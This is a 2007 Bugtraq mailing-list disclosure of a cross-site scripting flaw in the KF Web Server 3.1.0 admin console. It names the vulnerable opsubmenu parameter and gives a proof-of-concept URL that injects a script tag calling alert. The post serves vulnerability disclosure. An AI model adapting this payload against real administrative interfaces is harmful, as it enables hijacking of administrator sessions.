KF Web Server 3.1.0 admin console XSS

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: KF Web Server 3.1.0 admin console XSS
From: imprili@xxxxxxxxx
Date: 23 Jun 2007 19:18:37 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

KF Web Server 3.1.0 admin console XSS
--------------------------------------
site:http://www.keyfocus.net/kfws/

parameter:opsubmenu

poc
---
http://127.0.0.1:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript%

3Ealert('xss');%3C/script%3E

bug found by: Shay Priel aka Prili - imprili@xxxxxxxxx

Prev by Date: Ingres Unauthenticated Pointer Overwrite 2
Next by Date: Ingres verifydb local stack overflow
Previous by thread: Ingres Unauthenticated Pointer Overwrite 2
Next by thread: Re: KF Web Server 3.1.0 admin console XSS
Index(es):
- Date
- Thread